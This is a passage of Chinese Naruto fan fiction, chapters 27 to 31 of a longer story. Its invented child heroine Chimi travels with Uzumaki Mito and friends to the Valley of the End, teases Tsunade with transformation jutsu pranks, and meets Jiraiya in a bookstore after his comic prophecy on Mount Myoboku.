“请将千弥当成辻先生那样的大人,把烦恼说给她听吧。哪怕是无法消弭的问题也无所谓,她会放弃的,然后更加珍惜时光。扉间大人、辻先生和海未夫人一个接一个地突然消失在了她的世界里,千弥已经无法再承受不告而别的分离了。”
辻和海未最后留给千弥和水门的是一卷长长的、足以在檐廊上铺展开的卷轴,但也只留下了这卷倾尽了夫妻两人全部爱意的
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卷轴。
“我知道了。”漩涡水户沉默地起身来到水门身边,将同样思绪纷纷的小少年拥入怀中,“也让你担心了吧。一直以来,辛苦了,水门。”
纲手看到波风水门眼中冒着泪花,但她还是抱着警惕轻声地开口质询,“你那个占为己有的计划放弃了吗?”
得不到满意的答案她会做个坏人。
“那个呀,”波风水门腼腆地回答,“既然不能将千弥占为己有,那就只好把我自己送给千弥了。”
这不还是和大蛇丸病得不相上下嘛!而且你这才几岁啊!熟过头了!
在木叶隐村的孤儿院里,波风水门一直是一群小豆丁里最出彩的那个。
高饱和度的金发碧眼搭配上调和、包容的性格,对内拥有极强的自我管理能力,对外能帮助院长和大人们管理孤儿院的儿童,波风水门像高悬的、普照他人的小太阳。
但在同伴们和大人们之间饱受赞誉的小太阳也有被“退货”的时候。理由是太过完美,抢夺了父母的爱。
波风水门曾云淡风轻地和想要领养自己的辻谈论起过往的那段经历,结果那个男人只是瞪大了眼睛,唏嘘地感叹,“哇!小小年纪你的生活倒是丰富多彩啊!至少打败了90%的同龄人哦!”
“我是说——”
“不用担心,”辻打断了水门,“小千会很喜欢你的,毕竟Namikaze Minato,水门的名字里有一小段回文呢!”
很奇怪的理由,比辻先生喜欢自己名字的理由还要无厘头,但事实证明,知女莫若父。
在真真假假的祝福里进入新家的波风水门小心地观察自己的“妹妹”,也许也可能发展成为未来的“妻子”这样的角色。未来的自己会喜欢什么样的人呢?然后,他发现千弥也在观察自己。
“水门有什么喜好吗?”海未夫人找到看忍术卷轴的他,“那孩子想给你一些惊喜,结果除了发现水门喜欢看书和修行以外连你偏爱的食物都找不出来,哭唧唧地抱着大腿求我过来打探。她说‘苦无冷冰冰的,想要给哥哥一些更温暖的礼物’呢。”
在那之后的某一天,千弥突然拉着他在拉面店吃了个饱,接着又在关东煮的摊前停留了足足十分钟,在卖甜食却取名为“蟹丼”的料理店买了一份甜滋滋的热饮。最后,两个人饱食到晕碳回家。
……
睡醒后恢复了精神的千弥神采奕奕地燃起来了——她的爸爸妈妈太厉害了,比不过父母没法让水户大人露出身心自在的笑容简直再正常不过。她可不能被一点小小的挫折打败!
“水户大人内心的空洞我会努力去填补的!”脸颊还挂着洗漱后没擦干净的溪水,站在水户面前的千弥眼底映射着水波粼粼的白色光点,像有星星落进了眼里,“用爱!”
“你不会想给奶奶介绍对象吧?”尽管纲手因为波风水门昨夜的陈述在面对千弥时有些许的动容,但双手抱胸站立在水户身旁的金发少女可不信鬼点子一个接一个的千弥能有什么好主意。
“欸?原来还能这样嘛!”深受启发的千弥看着远处结出对立之印的两尊石像,恍然大悟,“亡夫变……前夫嘛?确实,更亲密的关系比我的爱更有用也说不准,逝者也没有打扰现世之人追求美好生活的权力。”
“臭小鬼!你当着人家孙女的面说什么呢!不准再想了!”听着千弥越发兴奋的言语,搬起石头砸自己的脚,不得不火力全开制止千弥的纲手追着千弥“打”。
“水户大人你喜欢什么类型的?我很有人脉!”被撵上水面的千弥踩在水上奔跑,稚嫩但活力十足的声音盖过了水声,顺着风飘进水户耳中。
“都说了不准说了!小混蛋!”知道千弥绝对能干出这种事的纲手化身喷火龙。
看着大清早闹闹嚷嚷的千弥和阿纲,水户一边因为千弥大胆的发言愕然,一边捧腹大笑。
“如果不能看到千弥健康长大,我也会心有遗憾吧。”
正如辻常在他们耳边炫耀的那样,千弥是宝藏啊!
“什么?什么?”长长的发尾被流水润湿成一绺一绺的,忙着梳理头发的玖辛奈看向两人消失的方向,震惊,“她们怎么能在水上跑嘚吧内?!”
28.自来也红娘物语
“呐呐、呐呐~水户大人喜欢什么类型的人?”像小白鸭一样在水上被撵了一圈,噗通噗通地带着一身水重新跑回到红发长者面前的千弥伸手抚平了水户眼角的皱纹好奇地询问。
“唔,什么类型?这还真是难以抉择啊。”水户抱着同样抬头好奇的玖辛奈假装思索一番后配合地露出了苦恼的神色。
“不要紧~”千弥朗声大笑,“月曜日是开朗型,火曜日是爱汪酱型,水曜日是智力拔群型,木——”
“胆大包天的小混蛋!”
进林子里捡干柴回来的纲手看着掰手指给奶奶安排老头的千弥黑气环绕,一脚跺在水面。
“嘭!”
水幕散去,站在水里那个可恨的小屁孩却消失了。
“人呢?”纲手看着清澈的水底,环顾四周后不得不用查克拉进行更大范围的感知。
“哇?”
睁开眼睛的千弥发现自己挂到树上了,更准确来说是双腿悬空地被树上的人拽住了后衣领。这个高度…身后的人如果选择松手,自己大概可以直接和世界告别。
果然是二代目火影大人的飞雷神发动了。
手臂上的印记出现查克拉波动,身边骤然多出一道气息的镜把拔出一半的刀收回鞘内,猛地俯身,手臂用力抓住半空中向下坠落的千弥。
“卷卷前辈?”一睁眼地图就变了,古蹊千弥抬头询问,“请问我是被打飞到树上的吗?”
好厉害的控制力,让她一点也不痛地飞了这么远。
“千弥。”脚上覆着查克拉,倒挂在树上的宇智波镜看着状况外的千弥叹气。
飞雷神不仅发动得突然,连原因也很离奇。
他一直关注着水户大人那边的情况,纲手的怪力甚至没落到千弥身上。
宇智波镜很担心扉间大人留在千弥体内用于保命的查克拉根本不够挥霍。
双脚落在树枝上,终于有了着地的实感,千弥身体挺得笔直,对坐在身份被揭露后将面具转到脑侧的镜的面前,认认真真伸手邀请,“请讲。”
联想到自己遇见的那位性格更跳脱的千弥,镜噎了又噎后憋出一句,“没事,我送你回去。”
“卷卷前辈。”被镜背在背上的千弥轻轻揪了揪卷卷的头发。
“嗯?”感觉到拉扯的力道,宇智波镜放慢了脚步。
“卷卷前辈会保护我吗?”
“当然。”
“卷卷前辈会站在我这边吗?”
面对千弥没有任何前置定语的站队请求,宇智波镜陷入沉默。思考间,脑后的一绺头发又被轻轻地拉扯,催促他回答。
“会的。”千弥不是坏孩子,现在不是,未来也不是。
没有心理负担的镜爽快地应下来。
“前辈你要做那个小鬼的盾吗?”火冒三丈的金发少女以拳抵掌,锐利的眼刀锁住宇智波镜身后的小混球。
“水户大人是自由的!”趴在镜背上的千弥机警地露出头,中气十足地反驳。
“发生了什么?”对几人之间发生的故事一无所知的男人顶着纲手的压力,看向水户大人。
不是普通的打闹吗,怎么连查克拉都外放了?纲手身边甚至出现了受查克拉影响绕着周身高速旋转的水珠。
“小千弥说要给我找七个男人呢~”笑容和煦的水户言简意赅地出言解答镜心中的困惑。
“嗯、嗯?”找什么?!
压力山大的宇智波镜霎时间感觉自己背的不是一名五岁小孩,而是一座五指山。现在把敦实的小山丢下来还来得及吗?
察觉到卷卷前辈的想法,千弥抓住了宇智波镜的衣肩,谨慎地把下巴压在卷卷前辈的头顶。
千弥不是坏孩子,但离世俗意义上的好孩子似乎也一有点距离。
被千弥缠住的宇智波镜不得不由暗转明,愉快地和众人品尝千弥的烤鱼。
“处理鱼的动作很利落呢。”水户有些惊讶地看着千弥的动作,“不过......用影分身和火遁忍术烤鱼?”
“嗯,只要影分身的查克拉用尽,鱼差不多就熟了。”
千弥体贴地掏出餐具,将沾了调味料、焦香诱人的烤鱼放在油纸上分给众人。
如果说护卫队那边的纲手因为古蹊千弥混不吝的言论火冒三丈,身处妙木山的自来也此时此刻可谓是呆若木鸡。
妙木山的仙术修行不仅艰苦,连食物都是满满的优质蛋白。在志麻仙人顿顿丰盛、三餐不落的虫类全席上吃到脸色发绿,连做梦都变成在菜叶上蛄蛹的紫色长虫的自来也平复好心情终于进入冥想状态时,他收到了大蛤ma仙人的传唤。
经历了一番令人老套到让人嫌弃的糊里糊涂纠缠,终于来到正题的自来也看着坐在正中的高台上的大蛤ma仙人微微睁开的浑黄色眼球,紧张地咽了口口水。
这是自来也的命运时刻。
自来也清楚地感觉自己的身体在发烫,并且有越来越热的趋势。心脏的泵血能力还没到极限,血液加速流动,很快,少年的脸上浮现出红晕。
他未来会成为什么样的人?是拯救忍界未来的出世英雄还是迎娶纲手的人生赢家?请快快说出来吧,未来的忍界豪杰自来也大人的专属预言!
“我曾看到自己会将蛤ma的力量传授给现身妙木山的少年。”大蛤ma仙人眼珠向下转动看着面前已经学有所成的自来也,悠悠地开口。
咕嘟咕嘟。自来也连咽了两口口水。
然后,他看到大蛤ma仙人忽然给自己倒了杯小酒。
自来也:“……”
一旁的深作和志麻见状都没忍住鼓了鼓声囊——这可是小自来也人生的重要时刻啊,就不能忍一忍吗,大蛤ma仙人!
“但是在新的梦境中,我却动摇了。”大蛤ma仙人放下手里的盃,看向寺外的远天。
自来也内心拔凉。
和那些修行妙木山的仙术变成蛤ma石像的学徒不同,他的石像形态是一个张着大嘴,眼珠外凸的人形。
什么意思?难道掉落在妙木山的有缘人不是自己?这个天朗气清,惠风和畅的日子,他不是来收听预
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言的,而是被通知退货的吗?!
两位仙人也惊讶地看向坐在主位的蛤ma祖师。
“我们的世界或许是为了一个人存在的。”梦里的景象并不真切,但唯有这一点,蛤ma丸莫名地笃定。
它到了一个人的死亡,以及随之而来的无边的黑暗,时间、空间,世界上的一切都失去了意义。
大蛤ma仙人的话仿佛平地惊雷,震得自来也神魂俱颤。
“什么叫……为了一个人存在?”面对关乎全世界的大事,自来也嗓子发紧,声音带着沙哑询问。
如果那一人不在了,其余的那些有喜有怒、活生生的人,这个世界会变成什么样?
“正是字面的意思。”它不能再说了。
蛤ma丸混浊的横瞳透出了澄明的神采,它平静地看着自来也,“自来也啊,未来的你会成为出色的忍者,游历各国,著书立说。”
单膝跪地的自来也听到大蛤ma仙人的预言不禁飘飘然地神采飞扬。未来的自己那么出色,迎娶纲手肯定也没有问题了!
“你的弟子——”蛤ma丸抚着身前的水晶球,抬掌握拳后重新伸出了一根可以被视为人类小手指的趾,“——的这个,会成为对世界有巨大影响的人。”
“生存还是毁灭,这个人的命运将决定世界的走向。”
滑稽地流下两条鼻涕,自来也表情空白地模仿蛤ma丸的动作,伸出自己的手,看着孤零零地立在那儿的小手指。
是他小手指竖多了遭到报应了吗?这个是他想的这个吗?
他的弟子的“这个”是预言之子,那他的作用凸显在哪里?
难道他不仅要收弟子,还要做红娘给弟子找这个?
短短十几分钟心情几番大起大落地起伏,血泵得太快,自来也突然觉得头有点晕。
他自己还是单身狗一条呢!六道仙人是在天上给他开了个玩笑吗?
豪杰自来也要可悲地转职成为红娘自来也了吗?
“那,”自来也的喉结上下鼓动,沉痛地抬起头,“我的弟子是男还是女?”
“呼呼~”
“深作大人,”走在路上,小手指弯不回去的自来也黯然地低头看向同样沉默的绿色长者,“蛤ma文化里的这个,”自来也摇摇僵直的手指头,“有什么特殊含义吗?”
深作仙人停下脚步陷入了可疑的沉默,幽幽地开口击碎了自来也最后一丝侥幸心理,“小自来也,在蛤ma文化里,这个和人类没有区别,应该就是你想的那个没错。”
自来也伸着小手指失意地心碎跪地。
白发少年泪流满面——红娘自来也的未来肉眼可见地一片黑暗啊!
写书游历=出村+远离纲手=恋情之树离结果遥遥无期。
收弟子、培养弟子还要关注弟子的男/女朋友,万一再有复杂的恋情纠葛他是调解还是劝分?预言之子是前任、现任还是下任?
呜呜呜,未来怎么能这么可怕。
他已经能想到自己这次回去会受到何等“嘲讽”了!
29.与水户旅行3
“千弥一直在看对面的石像呢。”
灵活地攀跳到千手柱间的头顶,矫健地落地后,水门顺着千弥的目光看向与千手柱间对峙的宇智波斑,他本以为千弥会去宇智波斑的头顶看这位建设木叶的初代目火影。
同水户大人出发的前几天,千弥在家里翻出了好多记载了初代大人事迹的书和卷轴。连零星的几笔有关初代目火影的描写都被千弥特意勾划了出来。
“只是有些好奇啦。”
千手柱间的豪气、胆魄、胸怀在书中皆有痕迹可循。
人物传记也好,历史记录也罢,人们在描写木遁使时无不不遗余力地花费笔墨去夸赞初代目火影散发的领袖魅力,褒扬其强大到令人折服的实力以及心中所藏的不言而喻的大爱。
这位放下恩怨、同千手柱间携手创建了木叶的宇智波族长,叛逃木叶又在数年后带着九喇嘛袭击木叶的宇智波族长,这位在宇智波一族、木叶隐村都讳莫如深的不可说,他的思想又经历了什么样的变化?
千弥扭头看向身后的水门,“水门认为,现在的忍界和村子是木叶隐村的创建者们所期望的吗?”
水门想了一下,笑道,“未来一定会更好的。”
“没有正面回答呢。”千弥眼神犀利地盯着水门吐槽。
“因为我不是那两位大人啊。”波风水门摆摆手自然地在千弥身边坐下,“不过未来一定会更好的,不是吗?”
“好狡猾,竟然把问题抛了回来。”千弥肩靠着水门,自信开口,“在宇智波斑的眼中,答案绝对是否定的。”
从结果溯源,水门好奇地转头询问,“因为他带着九尾袭击了村子?”
“小孩子面对搭建得不满意的沙滩堡垒会选择推翻重做。”千弥给宇智波斑袭村找到了一个无懈可击的理由。
“这是标准的千弥解题模式吧。”水门也忍不住吐槽,“宇智波斑绝对没有千弥这种孩子气的思维。”
“哼。”被水门说幼稚,气鼓鼓的千弥忽然在“雷声”中听到了玖辛奈的呼喊。
定睛一看,玖辛奈和镜正站在宇智波斑的头顶,面朝着他们的位置。玖辛奈更是一边蹦蹦跳跳一边挥舞手臂。
“水遁——水龙弹之术!”
千弥操控在瀑布的助力下迅速成型的水龙,对玖辛奈他们调皮地甩了甩“龙尾”。
被水龙扬了一脸水珠子的玖辛奈气呼呼地跳脚——她的术威力有余,精细不足,完全没法像千弥这么玩!
“镜前辈一定可以吧!”
扭头看到用火遁忍术将把自己烤干的镜,玖辛奈双手合十,一脸地期冀。
宇智波镜看着玖辛奈身后不断变形的同时张牙舞爪地衔着尾在空中螺旋式旋转的水龙,无奈地看着摇尾巴的玖辛奈,回答道,“只有火龙。”
于是,拔地而起的火龙在玖辛奈的指挥下,在雾白的水汽之中,与水共舞。
“镜前辈竟然也幼稚地陪他们玩这种游戏。”因为自来也的存在,打小就对笨蛋细菌抗性满分的纲手无语地看着在山谷里浪费查克拉的一群笨蛋。
没想到你是这样的镜前辈。
“阿纲想去同他们玩吗?”水户收回鱼竿,给被小鱼吃空的鱼钩重新挂上饵料,“我可以一个人。”
“才不要呢!”纲手撇嘴,“我又不是幼稚的小孩子了。”
“可阿纲在我心里永远都是小孩子啊。”水户看着耐着性子陪自己钓鱼的纲手,露出慈爱的神色。
“完全被遗忘了呢?汪。”放下迷你望远镜的小型忍犬趴在朔茂的头顶奚落道,“明明是三名忍者组成的护卫队,独独你却没有姓名。”
旗木朔茂:“……”
他也不是很想有姓名。
名为西洛的白色忍犬还在发力,“还是千弥的准赘夫呢。真是没出息啊,朔茂。”
旗木朔茂炸毛,“你是怎么知道的?!”
那个卷轴他藏得好好的!
“床底下一直是我们的地盘。”
从朔茂头上跳下来的忍犬趴在树上,一副无精打采的模样,尾巴却兴奋地摇成了螺旋桨,“我们一族如今只有你一个契约者,不出意外将来你的后代也会成为我们的契约者。这个卷轴现在是通灵犬一族的‘圣物’,我们帮你把它供在犬族的族地了,不用谢。”
对旗木朔茂的心路历程一无所知的西洛慵懒地插刀,“等你入赘的时候,保证卷轴崭新如初,连灰尘都没有。”
他们每天都有派出尾巴最蓬松、毛发最柔软的忍犬去给卷轴拂尘。
旗木朔茂恨不得变成蒸汽就此消失,但他还在执行任务。
“你们都看过了?”旗木朔茂紧张地捏了把汗。
“汪汪,认真地传阅过了。”
“事情不是你想的那样。”绝望的旗木朔茂试图从眼前这只忍犬入手,扭转狗子们的思想,“我不会入赘。”
未来的自己但凡还是个有道德、有良知的忍者就不会堕落到和比自己小那么多的千弥在一起,忍者最重要的品格就是忍耐欲望与克制情感。
两秒后,脑海中晃过卡卡西倔强的模样,旗木朔茂又斩钉截铁地补充,“未来也不会结婚。”
“汪——?”音调变形的狗子下巴落地。
“狛神大人的孙子诞生那年,你和我们签订了契约。如今狛神大人的孙子都有曾曾曾孙子了,你还是单身狗不说,以后竟然要当一辈子的单身狗?”
旗木朔茂冷漠地转头,拒绝讨论单身狗这个话题,“总之,我会找到品性合适的下一代契约者的。你们也不用担心太寂寞。”
算了,当年狛神大人的孙子也是一副将单身进行到底的狗样。
西洛抱着望远镜转了个方向警戒,对朔茂的言论不予置评。
“不要在千弥面前乱说话。”旗木朔茂捏着白色小狗软软的耳朵,像掀帘子一样掀起来,“知道了吗?”
“汪,知道了、知道了。”
把查克拉玩儿空的千弥是被水门背下石像的。
在终结之谷的最后一晚,千弥坐在水户身边,望着明明灭灭的火堆,“水户大人,初代火影为什么停下来了?”
“停下?”水户看着千弥的脸蛋,在火光的照耀下,千弥的眼里出现蓝与橘红的交织。
这个孩子想得很长远。
“我只是觉得他的梦想应该更大。”
千弥迷茫地看着水户,“书上写作为森之千手一族的族长,他与宿敌宇智波一族握手言和,结束乱世、建立起了不同忍族能够和平共存的木叶。但为什么之后只是把尾兽分发给各国,平衡国力?他想要的应该是更大、更长远的和平吧。”
“这个世界,无论是现在还是过去都太不安定了。”千弥的声音在几人当中回荡。
宇智波镜和纲手不由自主地放缓了手头上的动作,纷纷竖起耳朵。前者对千弥的想法感到新奇
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,而后者则是单纯地警惕。
“那小千弥认为千手柱间本应该怎么做?”
“效仿传说中的六道仙人,建立起一个新的忍宗,一个容纳所有忍族的忍宗?”千弥抓了抓头发,“再或者,和火之国的大名携手统一世界?唔……大名不配合的话,率领木叶统一世界也说不准?”
水户捂住嘴,咯咯地笑,“统一世界这个梦想对柱间来说太大了。”
“那他能做到吗?”千弥凑到水户身边,拄着下巴,纯好奇地询问。
“千手柱间很强,但人力终有尽时。”
水户搂住千弥,看着滚滚而去的溪水,“他一直相信人和人之间是可以相互了解的,忍者之间可以通过结为兄弟达到结束纷争的效果。但是,经过和宇智波斑的终结之战,柱间的时间不多了,他的思想也发生了变化。”
“他从前称斑为‘天启’。”给千弥讲故事的水户陷入了回忆。在水户身体里寄宿的大狐狸听到斑的名字哈哈地往外喷气,卷起一阵高过一阵的浪潮。
没一个好东西!没一个好东西!
镜实在没忍住,稍稍凑近了点儿听。
“天启?”
“上天的启示吧,”水户笑着将尾巴摇上天的千弥按回到垫子上,“他们都心怀对和平的向往。但是他们也因为对和平理解的分歧最终分道扬镳,甚至兵刃相向。”
“小孩子对自己堆的沙滩堡垒不满意就想推倒重做,但沙滩堡垒是和别的小孩子合作堆砌的!”
水户被千弥“沙滩堡垒”的比喻逗笑,但还是点头,“差不多是这样。”
曰!曰!呕!
九喇嘛因为千弥对宇智波斑过于“可爱”的形象塑造生理性地反胃呕吐。未来,它会好好向古蹊千弥讲述宇智波斑和千手柱间是如何不干人事的,那两个人完全是人面兽心的怪物!
“被丢下的小孩放弃了扩大堡垒的规模,而是与更多的同伴一起不断完善与曾经的同伴共同搭建的这座不完美、不牢固的堡垒。”水户的声音像钟,悠长、浑厚,与历史一同穿透了时光长河。
我也会守护好这座被前人不断塑造、不断完善的沙堡。宇智波镜心想。
原本挺正经的的故事忽然被千弥带偏了。纲手心不在焉地用树枝勾了勾火苗。
木叶的创始人是那种性格吗?波风水门强烈怀疑水户大人只是迁就千弥。毕竟,二代目火影千手扉间大人给人的印象就格外成熟、可靠、高大。
至于玖辛奈,她想听水户大人讲漩涡的故事。
“水户大人,还有一个问题。”千弥把弱下去的火苗拨弄得明亮,噼里啪啦的燃烧声在寂静的夜里格外清脆。
宇智波镜好整以暇地看着千弥。
“请问,火影颜岩凿刻的工匠真的没有行贿吗?”小狗竖起耳朵,集中精神。
宇智波镜噗通栽倒在地,看着前辈少有地露出窘迫模样,纲手捂着嘴揶揄地笑到肩膀颤抖。
“啊啦~”水户也觉得除了三代火影以外的两任火影的颜岩都很抽象。偏偏工匠那一家还代代承包着颜岩的凿刻,美其名曰“传承”。
她微笑回道,“这件事我也不知道呢。”
“果然有猫腻吧!”千弥像警务队队长一样端着严肃、凝重的表情,“通通带走!”
宇智波镜捂脸,这句话他经常在警务队的同族口中听到。
等回去了,要进一步加强作风培训才行。
30.超真实家家酒
一场秋雨带去了木叶大半的生机。曾在盛夏里尽情吸收土壤养分,舒展枝芽的绿色阔叶染上了不均匀的褐黄色,斑斑点点、深深浅浅,透着一股垂死但还能活的劲儿。
千弥就是在这样的某一天,遇到了眼神比寒凉的秋天、比皮肤坑坑洼洼的两栖生物更加阴冷毒辣的志村团藏。
“漩涡家的小鬼。”
千弥愣了一秒,抱着怀里的书靠边不语。她觉得这个老爷爷不太礼貌,但不要紧,面对上了年纪、脾气古怪、行将就木的老爷爷,她可以表现得大度些。
“千弥!”结完账的红毛小狗从身后用力地拍了拍千弥的肩膀,亲亲热热地蹭蹭脸颊后才抬起头,“这位老爷爷是千弥认识的人吗?”
想起几天前在终结之谷游历时,千弥当着水户大人面提出的“一周论”,玖辛奈像吃了青椒露出一副苦巴巴的表情——她觉得千弥的眼光有点差。
“哼,漩涡一族的小鬼们。”
志村团藏因为玖辛奈那句“老爷爷”浮现出不满的神色,皱起的额头叠出了深深的沟壑。
他注视着不动声色地侧身上前用身体挡住红色漩涡的古蹊千弥,嗤笑一声后居高临下地警告,“蛊惑漩涡水户出村的野丫头,你的使命是为木叶献出生命,不要再做那些无谓的行动了。”
“而你,”志村团藏如漆如墨的黑色眼珠像钉子一样精准地扎到玖辛奈身上,“注定成为九尾的容器保护村子。这是你们的命运。”
玖辛奈猛地噤声,不敢再和团藏对视。
攥紧了千弥的衣角,红毛小狗不安地看着偷摸大鸡沉默的以至于显出几分冷漠的侧脸,她的朋友眼里一直是带着笑意的,那样深沉的眼神,她从未在千弥身上见过。
“呼~”千弥盯着怪老头的背影,待人变成黑点消失不见后,像许久没呼吸一样长长地舒气。她拉住了玖辛奈的手,认真地叮嘱,“记住那个查克拉了吗?玖辛奈以后要离那个坏老头远远的。”
“没问题,别怕。”千弥眨眨眼,露出了玖辛奈熟悉的温暖的笑意,给受到惊吓的红毛小狗顺毛,“也别听他瞎咧咧,玖辛奈未来一定会成为了不起的‘漩涡’。”
“大家都会回来的。玖辛奈也别被困在木叶,世界可是很大的呦~沿海而生的漩涡是自由的。”
“呜——”玖辛奈发现她偷摸大鸡像火苗一样温暖燃烧的查克拉、散发着果木清香的查克拉变“凉”了,像被人狠狠泼了一盆凉水,冒着黑呛呛的余烟。
明明千弥自己受到的影响更大!
把人扑到身后的砖墙上,照着千弥的头发一通胡乱地揉搓,玖辛奈带着哭腔大喊,“我会保护好千弥的!”
摩擦、摩擦,小火苗快变得温暖起来!
“玖辛奈,”千弥出神地看着出现在玖辛奈身后的团扇们,“我们这样当街喊叫似乎有点影响村容村貌呢。”
执法队都来了!年龄但凡再上去一点儿就能去警卫室喝一杯了!性别变一变,狡辩都不用,可以直接交罚款了!
“快松手啦~玖辛奈,有人来了哦!”
更要命的是她看到宇智波富岳了!被她用火苗吹卷了飘逸的长发后,那家伙似乎换了个发型,原本齐肩的头发变成了堪堪齐耳的长度。黑色大眼怪正死死盯着自己手里的书。
“有人来了也不会放手的!”
可是她很怕自己夹带的16向小册子被搜查!
人与人的悲喜并不相通。
宇智波富岳黑色的大眼睛紧紧盯着在红发漩涡的熊抱中眼神乱飘的千弥,“只是两个小孩打闹。”
“散了吧。”
人在做坏事的时候容易紧张过度。
看着执法队四散而去,千弥扑通扑通跳到嗓子眼儿的心脏终于落回到原处。
被勒得身体酸痛的千弥捏捏胳膊又在原地蹬了蹬腿,“纲手一定会很喜欢玖辛奈的。”
“为什么?”
“因为你们的性格都很爽利。”
“不对,”平复好心情的玖辛奈摇了摇手指,“纲手姐姐本来就很喜欢我。”
“玖辛奈说得对。”千弥草草地顺了顺卷翘起来的头发,“回去啦!”
……
小孩静悄悄,定是要作妖。
虽然嘴上不提,但纲手可没忘记千弥在山谷震惊四座的熊言熊语。木叶医院再忙,有这份警惕悬在心头的纲手始终坚持与水户奶奶一起享用三餐。
一日早归,推开障子的纲手沉默地与在室内和奶奶言笑晏晏地讨论封印术的陌生老头对望。
须发皆白的老者身上并没有久居上位之人往往携带着的那种朽木陈腐的气息,反而携着非凡的气度。那双看向自己的眼睛里含有一种返璞归真的清澈与纯净。
如果真的只是和奶奶聊封印术的老爷爷就好了。
“奶奶,古蹊千弥在哪里?”
看着笑得发饰上的符文轻颤不止的水户奶奶,用0.0000001秒猜出罪魁祸首的纲手咬着牙将“小兔崽子”和心头的火气一并咽进肚子里。
她决定替辻好好教育教育千弥。不然,无法无天的小兔崽子真的能上天。
“你是说那个活泼机灵、乖巧懂事、心灵手巧、在封印术上颇有天资的小姑娘吗?”纲手看到这位陌生的来客放下了手中的卷轴,那双苍瘦的手落在长须上,“那位风趣幽默又不失俏皮可爱的小女孩说‘午饭时间到了,要去森林喂鹿。’刚出去没一会。”
克制地关上门,猛地往外走了几步的纲手正要提气瞬身,忽然想到了什么。
障子门“唰——”地被拉开,震得门框落下簌簌的灰尘。
“小混蛋!”
“我的
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变身术哪里出了问题吗?!”嘭地被打回原形的千弥顶着头上的包,抱住水户的腰不撒手。
“正常人怎么可能对你用那么多褒扬之词啊!kura!”一脸狰狞的纲手和千弥绕着水户转圈,“看招!小混蛋!”
“水户大人救命!”
“哈哈哈哈~”被千弥牵得东倒西歪的水户笑出泪花。连肚子里的狐狸都一脸嫌弃地把头往一旁撇。
“这是我创造的能给人们带来欢笑的忍术——‘超——真实家家酒’!”结出十字形的印,嘭地使出被列为禁术的多重影分身,十几个千弥齐声开口,“变身!”
不同风格的中老年人挤在招待室。
“不准用!”随机敲一个老头的纲手气得粗喘着气,“这种针对老年群体的下流色诱术给我列为禁术啊,小兔崽子!”
上一个把她气成这样的是偷窥女澡堂的混蛋自来也。
“和不同类型的我聊天,水户大人也会更开心吧?”本体被敲,影分身嘭嘭嘭地化作白烟。
头上叠了两层包的千弥捂着脑瓜、直冒泪泡,她一脸倔强,坚持不懈地摇着水户的手臂询问,“对吧?”
“我有认真看书研究不同性格的成年人类的行为风格。”被水户摸摸头又亲了亲的千弥底气十足地看向纲手,“演绎上绝对不会ooc的!”
纲手气得冒烟——她在意的根本就不是这个问题!!!
要是被一个个个像是长了八百张嘴的木叶村民看到,她奶奶的清誉小兔崽子拿什么还?!
……
“上学!古蹊千弥必须立刻上学!”风风火火地闯进火影室,纲手双手啪地拍在桌面,拍得文件哗啦啦地上下震动。
上次像这样来去如风的还是团藏。
“怎么了?”叼着烟斗的猿飞日斩不解地看向弟子。
“我建议木叶忍者学校学龄下调!”木屑飞溅,纲手徒手掰断了较长的碍眼木刺。
“现在是和平年代。”没在意破损的桌子,猿飞日斩放下烟斗,认真地否决了弟子的提议,“让他们再享受一段无忧无虑的童年吧。”
知道是“家庭矛盾”的猿飞日斩放下心,乐呵呵地安慰起了弟子,顺便问了两句木叶医院医疗忍者的培养情况。
“纲手你也在啊,”修行归来的自来也推开门,新奇地看着打自己小时候起便始终心向的同伴,“谁惹你了?”
除了他竟然还有人能把纲手惹炸毛?!自来也心头生出了几分警惕。
可恶,能牵动纲手心绪的人竟然在这种微妙的时候出现了!
这让他更不想离开纲手去外头给便宜弟子当红娘了!
剧情就不能快进到自带稳定交往的女朋友的便宜弟子慕名而来,推销自己,然后众人合家欢地拯救世界吗?!
师傅的恋情也很重要啊!
31.少年呦~学仙术吗?
至少也要清退一波情敌再按照大蛤ma仙人的预言那样去游历著书,不然他无论如何都无法安心。
抱着这样的想法,同三代火影汇报了修行成果的自来也一脸凛然地来到木叶最大的书店“集英堂”,推门而入后径直朝着摆放18向书籍的书架迈步。
为了帮助未来的弟子在情之一途上畅通无阻,他这位品格高尚的西秀实在是付出了太多!重复,绝对不是为了自己的个人私欲。英俊潇洒的自来也大人才不需要在书上学习表白的套路。
抬头,书柜上贴着颜色醒目的“18”、“圆圈”、“斜杠”三种标志的组合贴纸,再看一眼两侧书架上摆放整齐的花花绿绿甚至印着红唇女郎的书壳,确信自己没有眼花,自来也低头看着还没有书架一半高的小屁孩的背影,沧桑了。
现在的小孩已经这么早熟了吗?!
有八岁吗就坐在了十八岁才能接触的书架下?某种意义上,这孩子比他还有出息。
自来也心里一边感叹后浪的强劲,一边在毛茸茸的小辫子身后蹲下,捏着腔,声音细细地道,“小朋友,这里不是你该来的地方哦~”
正看到夕颜被生魂吓死的片断,感觉到身后吹来的阴风,千弥猛地合上书受惊吓地一头撞在书架上,头发像海胆一样刺刺毛毛地炸起。
他长得那么吓人吗?把小孩吓一跳的自来也无辜地摸了摸下巴。
然后,认出古蹊千弥的自来也表情更沧桑了。
小女孩怎么会出现在这里啊!!!
千弥小朋友,连学龄都没到的千弥小朋友,你为什么会出现在这里啊?!
这一刻的自来也想起了自己在火影楼走廊上听到的从火影室内传出来的纲手的咆哮,他蓦地与纲手超越时空地共情了——这孩子真的亟需被关进忍者学校!
毕竟除了忍者学校的老师和脾气火爆的纲手以外,千弥身边的人大概没有人愿意给这孩子一个完整的童年。
自来也的目光扫过千弥手里厚重的大头书,心里稍稍地安定了一些,好歹古蹊千弥手上拿的不是那种下流露骨的纯艳情文学。
这可真是不幸中的万幸,呵呵、呵呵呵。
“就算是《源氏》,这本书对你这个年龄来说也太早了些。”察觉到自己语气粗硬、说教意味浓重,想和纲手的“小姑姑”拉近关系借机搜查情敌情报的自来也干脆席地而坐,热络地问道,“不过,如何?源氏公子很风流多情吧。”
话一出口,自来也在心里对着自己的迷你人形甩了两巴掌又踩了两脚——这是他熟悉的领域没错,但对面和他交流的是一个小女孩啊!
“比起风流明显更下流吧。”什么话题都能接的千弥把书翻到扉页,一语总结,“‘浸了月光的樱花’活成了‘深陷泥淖的败柳’。”
恕他不能轻易认同。
来了精神的自来也拿过千弥手里的书,对还不能领悟《源氏》妙趣的千弥解释道,“光源氏可不是一个平面的角色,男性的魅力在他身上——”
